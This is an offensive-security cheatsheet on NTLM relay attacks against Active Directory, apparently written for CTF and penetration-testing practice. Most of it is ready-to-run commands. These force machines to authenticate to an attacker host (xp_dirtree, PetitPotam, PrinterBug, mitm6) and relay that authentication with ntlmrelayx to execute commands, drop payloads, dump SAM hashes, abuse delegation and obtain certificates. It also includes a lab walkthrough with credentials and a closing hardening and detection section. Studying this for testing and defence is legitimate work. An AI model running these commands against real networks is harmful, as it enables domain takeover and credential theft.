NTLM Relay Attack — Complete Cheatsheet

NTLM relay is one of the most powerful attack classes in Active Directory. The concept is simple: intercept an NTLM authentication attempt and forward it to a different service, authenticating as the victim. When combined with coercion techniques that force machines (including Domain Controllers) to authenticate to you, this often leads to immediate domain compromise.


Part 1: Understanding NTLM Authentication

How NTLM Works Under the Hood

NTLM is a challenge-response authentication protocol used in Windows environments. When a client wants to access a resource (like an SMB share), this happens:

Client                          Server
  |                               |
  |--- NEGOTIATE message -------->|   "I want to authenticate"
  |                               |
  |<-- CHALLENGE message ---------|   "Prove it. Here's a random number"
  |                               |
  |--- AUTHENTICATE message ----->|   "Here's my response (hash of password + your challenge)"
  |                               |
  |<-- ACCESS GRANTED ------------|   "Checks out. Welcome."

The client never sends the actual password. It sends a response computed from the password hash and the server’s challenge.

How NTLM Relay Intercepts This

The attacker sits in the middle and forwards the authentication to a different target. The attacker never cracks or knows the password — they just pass messages along in real-time.

Victim (MS01)            Attacker (Kali)              Target (DC01)
     |                        |                            |
     |--- NEGOTIATE --------->|                            |
     |                        |--- NEGOTIATE ------------->|
     |                        |                            |
     |                        |<-- CHALLENGE (C1) ---------|  DC01 sends challenge
     |<-- CHALLENGE (C1) -----|                            |
     |                        |                            |
     |--- AUTH(hash+C1) ----->|                            |  Victim solves DC01's challenge
     |                        |--- AUTH(hash+C1) --------->|  Attacker forwards it
     |                        |                            |
     |                        |<-- ACCESS GRANTED ---------|  DC01 accepts it
     |                        |                            |
     |                        |   Attacker now has an      |
     |                        |   authenticated session    |
     |                        |   on DC01 as Victim        |

Key Insight: The victim thinks it’s authenticating to the attacker’s server. DC01 thinks the attacker IS the victim. The attacker just relays messages between them.

Why SMB Signing Breaks Relay

SMB signing = every message after authentication is cryptographically signed using a key derived from the password.

Signing REQUIRED:
  - After relay, DC01 says: "Sign this message with the session key"
  - Attacker doesn't know the password → can't compute the key → session dies
  - RELAY FAILS ❌

Signing NOT REQUIRED:
  - After relay, DC01 doesn't ask for signatures
  - Attacker can send unsigned commands freely
  - RELAY WORKS ✅

What the Relayed Account Determines

Machine Account (MS01$):
  └─ Limited. Can read some shares, enumerate AD.
     Possibly add a computer for RBCD attack.

Service Account (svc_mssql):
  └─ Depends on privileges. If local admin on target → SAM dump, code exec.
     If Domain Admin or high-privilege → full compromise.

Regular User:
  └─ Can access their own resources on target.
     Useful for share enumeration, data theft.

Part 2: Clue Recognition — When to Think About Relay

NTLM Relay Clue Checklist

✅ 1. SMB signing NOT required on target   → nmap smb2-security-mode / nxc signing:False
✅ 2. Way to trigger NTLM auth             → MSSQL xp_dirtree, PetitPotam, PrinterBug, etc.
✅ 3. Creds to reach the trigger            → found in config files, shares, etc.
✅ 4. Valuable relay target                 → DC, server with sensitive data
✅ 5. No other obvious path forward         → null sessions locked, guest disabled, RID brute fails

How to Check Signing Status

# Nmap
nmap --script smb2-security-mode -p 445 TARGET
# Look for: "Message signing enabled but not required"

# NetExec
nxc smb TARGET -u '' -p ''
# Look for: (signing:False)

Clue Signals in CTF/Engagement

  1. SMB signing disabled on all machines — Nmap: enabled but not required, nxc: signing:False
  2. Unusual services on a DC — MSSQL on a DC is unusual, signals intended attack vector
  3. Credentials found for a service — config files on shares with DB creds = trigger for coercion
  4. Multiple machines in the domain — relay needs a source and a target
  5. Limited access otherwise — null sessions locked, guest disabled, no other path forward

Part 3: Identify Relay Targets

Not every machine can be relayed to. You need to check for signing requirements:

# Find SMB targets without signing (workstations are often vulnerable)
nxc smb 10.10.10.0/24 --gen-relay-list smb-targets.txt

# Check LDAP signing
nxc ldap dc01 -u user -p pass -M ldap-checker

# Check for ADCS HTTP enrollment (ESC8 target)
nxc http 10.10.10.0/24 -M adcs
certipy find -u user@domain.local -p pass -dc-ip DC_IP -vulnerable

Signing Requirements Matrix

ProtocolDefault SigningRelay Possible?
SMB (DCs)Required❌ No
SMB (workstations/servers)Not required✅ Yes
LDAPNegotiated (often not enforced)✅ Usually
LDAPSChannel binding (if enabled)⚠️ Depends
HTTP (ADCS)None✅ Yes
MSSQLNone✅ Yes

Relay Across Protocols

NTLM auth can be relayed across protocols:

Source → TargetUse Case
SMB → SMBClassic relay, command exec, SAM dump
SMB → LDAPAdd computer, modify ACLs, RBCD attack
SMB → HTTP/ADCSRequest certificates (ESC8)
HTTP → LDAPWebDAV to LDAP for delegation attacks
MSSQL → SMBForce SQL service auth, relay to SMB target

Part 4: Coerce Authentication

Force a machine to authenticate to your attacker host. Multiple protocols support this:

MSSQL — xp_dirtree

-- From an MSSQL session, force SQL service to connect to attacker
EXEC xp_dirtree '\\ATTACKER_IP\share';

-- Alternatives
EXEC master..xp_subdirs '\\ATTACKER_IP\share';
EXEC master..xp_fileexist '\\ATTACKER_IP\share\file';

PetitPotam (MS-EFSRPC)

# Unauthenticated (unpatched systems)
PetitPotam.py ATTACKER_IP TARGET_IP

# Authenticated (always works if EFS is available)
PetitPotam.py -u user -p pass -d domain.local ATTACKER_IP TARGET_IP

PrinterBug / SpoolSample (MS-RPRN)

# Requires valid domain creds + Print Spooler running on target
printerbug.py domain.local/user:pass@TARGET_IP ATTACKER_IP
SpoolSample.exe TARGET_IP ATTACKER_IP

DFSCoerce (MS-DFSNM)

DFSCoerce.py -u user -p pass -d domain.local ATTACKER_IP TARGET_IP

ShadowCoerce (MS-FSRVP)

ShadowCoerce.py -u user -p pass -d domain.local ATTACKER_IP TARGET_IP

Coercer (Multi-Protocol Scanner)

# Scan for all available coercion methods
Coercer.py scan -t TARGET_IP -u user -p pass -d domain.local

# Coerce using all available methods
Coercer.py coerce -t TARGET_IP -l ATTACKER_IP -u user -p pass -d domain.local

Part 5: Relay Scenarios

Scenario 1: NTLM Relay to SMB → Code Execution

Severity: 🟠 High

Relay to a machine without SMB signing to execute code.

# Terminal 1: Start relay with command execution
ntlmrelayx.py -tf smb-targets.txt -smb2support -c "whoami > C:\relay-proof.txt"

# Or drop a payload
ntlmrelayx.py -tf smb-targets.txt -smb2support -e payload.exe

# Or dump SAM database
ntlmrelayx.py -tf smb-targets.txt -smb2support --dump-sam

# Terminal 2: Coerce or wait for authentication
# LLMNR/NBT-NS poisoning with Responder (in relay mode):
Responder.py -I eth0 -rdw  # -w for WPAD, -d for DHCP, relay mode disables SMB/HTTP servers

# Or active coercion
PetitPotam.py ATTACKER_IP TARGET_IP

Scenario 2: NTLM Relay to LDAP → RBCD

Severity: 🔴 Critical

The most common path to Domain Admin from a network position. Relay a machine account’s authentication to LDAP to configure RBCD, then impersonate an admin.

Prerequisites:

  • Coerce a machine account to authenticate to you
  • LDAP signing NOT enforced on the DC
  • MachineAccountQuota > 0 (or you already control a computer account)
# Terminal 1: Start relay — automatically configures RBCD
ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access --escalate-user FAKEPC$

# Terminal 2: Coerce DC or target server
PetitPotam.py ATTACKER_IP DC01_IP

# ntlmrelayx will:
# 1. Create a new computer account (if --escalate-user not specified)
# 2. Configure RBCD on the relayed machine account
# 3. Output the details

# Terminal 3: Complete RBCD exploitation
getST.py -spn cifs/DC01.domain.local \
  -impersonate administrator \
  domain.local/'FAKEPC$':'YOURPASSWORD'

export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local

Scenario 3: NTLM Relay to ADCS HTTP (ESC8)

Severity: 🔴 Critical

Relay to AD Certificate Services’ HTTP enrollment endpoint to obtain a certificate as the relayed account. If you relay a DC machine account, you get a cert that allows DCSync.

# Terminal 1: Relay to ADCS
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp --adcs --template DomainController

# Terminal 2: Coerce DC authentication
PetitPotam.py ATTACKER_IP DC01_IP

# ntlmrelayx outputs a base64 certificate

# Terminal 3: Authenticate with the certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP

# Or use the cert for DCSync
secretsdump.py -k -no-pass domain.local/DC01\$@dc01.domain.local

Scenario 4: mitm6 — IPv6 DNS Takeover

Severity: 🟠 High

Most Windows networks have IPv6 enabled but don’t use it. mitm6 exploits this by acting as a rogue DHCPv6 server and DNS server, intercepting requests and coercing NTLM authentication via WPAD or DNS.

# Terminal 1: Start mitm6
mitm6 -d domain.local --ignore-nofqdn

# Terminal 2: Relay the intercepted auth to LDAP
ntlmrelayx.py -6 -t ldaps://dc01.domain.local \
  --delegate-access \
  -wh wpad.domain.local

# What happens:
# 1. Victim machine gets an IPv6 address from mitm6
# 2. Victim uses attacker as DNS server
# 3. Victim requests WPAD configuration
# 4. Attacker responds with WPAD pointing to itself
# 5. Victim authenticates to attacker (NTLM)
# 6. Attacker relays to LDAP → RBCD or account creation

💡 Tip: mitm6 is particularly effective in environments with WPAD enabled. It catches machine accounts as they boot or refresh their network configuration.

Scenario 5: Relay to MSSQL

# Relay to SQL Server — execute queries as the relayed user
ntlmrelayx.py -t mssql://sql01.domain.local -q "SELECT SYSTEM_USER;"

# Enable xp_cmdshell for OS command execution
ntlmrelayx.py -t mssql://sql01.domain.local \
  -q "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';"

Scenario 6: WebDAV + Coercion Combo

When the WebClient service is running on a workstation, you can coerce authentication over HTTP instead of SMB — which avoids SMB signing entirely.

# Check if WebClient is running
nxc smb targets -u user -p pass -M webdav

# Start WebDAV listener + relay
ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access

# Coerce via HTTP (WebDAV)
PetitPotam.py ATTACKER@80/path TARGET_IP
# The @ forces HTTP instead of SMB

Part 6: Attack Setup Quick Reference

Step 1 — Prepare ntlmrelayx (Terminal 1)

# Basic relay to SMB
ntlmrelayx.py -t smb://TARGET_IP -smb2support

# Relay and dump SAM hashes
ntlmrelayx.py -t smb://TARGET_IP -smb2support --dump-laps

# Relay and execute a command
ntlmrelayx.py -t smb://TARGET_IP -smb2support -c 'whoami'

# Relay and run secretsdump
ntlmrelayx.py -t smb://TARGET_IP -smb2support --secretsdump

# Relay to LDAP (for delegations, ACL abuse)
ntlmrelayx.py -t ldap://DC_IP --delegate-access

# Relay to multiple targets from a file
ntlmrelayx.py -tf targets.txt -smb2support

Step 2 — Trigger Authentication (Terminal 2)

# Via MSSQL
impacket-mssqlclient 'user:pass@VICTIM_IP'
SQL> EXEC xp_dirtree '\\ATTACKER_IP\share';

# Via PetitPotam
python3 PetitPotam.py ATTACKER_IP VICTIM_IP

# Via Responder (passive — wait for traffic)
responder -I eth0 -dwv

Step 3 — Profit

ntlmrelayx will show you the result:

[*] SMBD: Received connection from 10.13.38.45
[*] Authenticating against smb://10.13.38.44 as REFLECTION/SVC_MSSQL SUCCEED
[*] Dumping SAM hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Part 7: Common Pitfalls

ProblemCauseFix
Relay fails silentlySigning required on targetCheck signing, pick different target
”Account not found”Relaying to wrong domainEnsure victim and target are same domain
Access denied after relayRelayed account has no privs on targetTry different target or coerce higher-priv account
Connection refused on 445Your own SMB is runningsudo systemctl stop smbd before running ntlmrelayx
Auth received but not relayedRelaying back to sourceCan’t relay creds back to the machine they came from

Part 8: Defense & Detection

Hardening

ControlWhat It Prevents
Enable SMB signing on all machinesSMB relay
Enable LDAP signingLDAP relay
Enable LDAP channel bindingLDAPS relay
Enable EPA on ADCS web enrollmentESC8 relay
Disable NTLM entirely (enforce Kerberos)All NTLM relay
Disable IPv6 via GPO if unusedmitm6 attacks
Disable Print Spooler on serversPrinterBug coercion
Set MachineAccountQuota to 0Blocks RBCD computer creation
Disable WebClient on serversWebDAV relay

GPO Settings

# SMB signing
Computer Configuration → Policies → Windows Settings → Security Settings →
  Local Policies → Security Options →
    Microsoft network server: Digitally sign communications (always) → Enabled

# LDAP signing
Domain controller: LDAP server signing requirements → Require signing

# Disable IPv6
Computer Configuration → Administrative Templates → Network → IPv6 →
  Disable IPv6 on all interfaces

Detection (Event IDs)

Event IDWhat It Catches
4624Logon events — watch for network logons from unusual IPs
4648Explicit credential logon — relay indicators
8004 (NTLM audit)NTLM authentication events — identify relay sources

Network Monitoring

  • Watch for SMB traffic from unexpected sources
  • Alert on NTLM authentication to LDAP from non-DC IPs
  • Monitor for rogue DHCPv6 servers (mitm6 indicator)
  • Alert on certificate enrollment from machine accounts that shouldn’t be enrolling

Part 9: Tools Reference

ToolPurposeInstall
ntlmrelayx.pyRelay NTLM auth to targetsapt install impacket-scripts
ResponderPoison LLMNR/NBT-NS, capture hashesapt install responder
PetitPotamCoerce auth via MS-EFSRPCgit clone github.com/topotam/PetitPotam
PrinterBugCoerce auth via Print SpoolerPart of krbrelayx toolkit
DFSCoerceCoerce auth via MS-DFSNMgit clone github.com/Wh04m1001/DFSCoerce
ShadowCoerceCoerce auth via MS-FSRVPgit clone github.com/ShutdownRepo/ShadowCoerce
CoercerMulti-protocol coercion scannerpip install coercer
mitm6IPv6 DNS takeoverpip install mitm6
impacket-mssqlclientInteractive MSSQL shellapt install impacket-scripts
NetExec (nxc)Swiss army knife for ADapt install netexec
certipyADCS enumeration & exploitationpip install certipy-ad

Part 10: Lab Reference — Reflection (reflection.vl)

Environment:
  DC01  10.13.38.44  → Domain Controller, MSSQL, SMB signing:False
  MS01  10.13.38.45  → Member Server, MSSQL (web_staging:Washroom510), SMB signing:False
  WS01  10.13.38.46  → Workstation, SMB signing:False

Attack Path:
  1. Scanned all three hosts — identified DC profile + MSSQL on DC01 (unusual)
  2. SMB signing disabled on all machines (relay viable)
  3. Guest account enabled on MS01 — enumerated "staging" share
  4. Found staging_db.conf → web_staging:Washroom510
  5. Logged into MSSQL on MS01 (local auth)
  6. Trigger xp_dirtree → forces MS01 MSSQL service to auth to Kali
  7. ntlmrelayx relays that auth to DC01 (signing not required)
  8. Authenticated session on DC01 as MSSQL service account

Clue Recognition:
  ✅ SMB signing NOT required on all targets
  ✅ MSSQL on DC (unusual = intended vector)
  ✅ Creds found on SMB share → MSSQL access → coercion trigger
  ✅ Multiple machines = source + target for relay
  ✅ No other path forward (null sessions locked, guest disabled on DC01/WS01)

 

 


Next up → Part 4: Exploiting AD Users — DCSync, LSASS dumps, password spraying, Pass-the-Hash, and credential harvesting.

 

Writeups that put these techniques into practice will be linked here.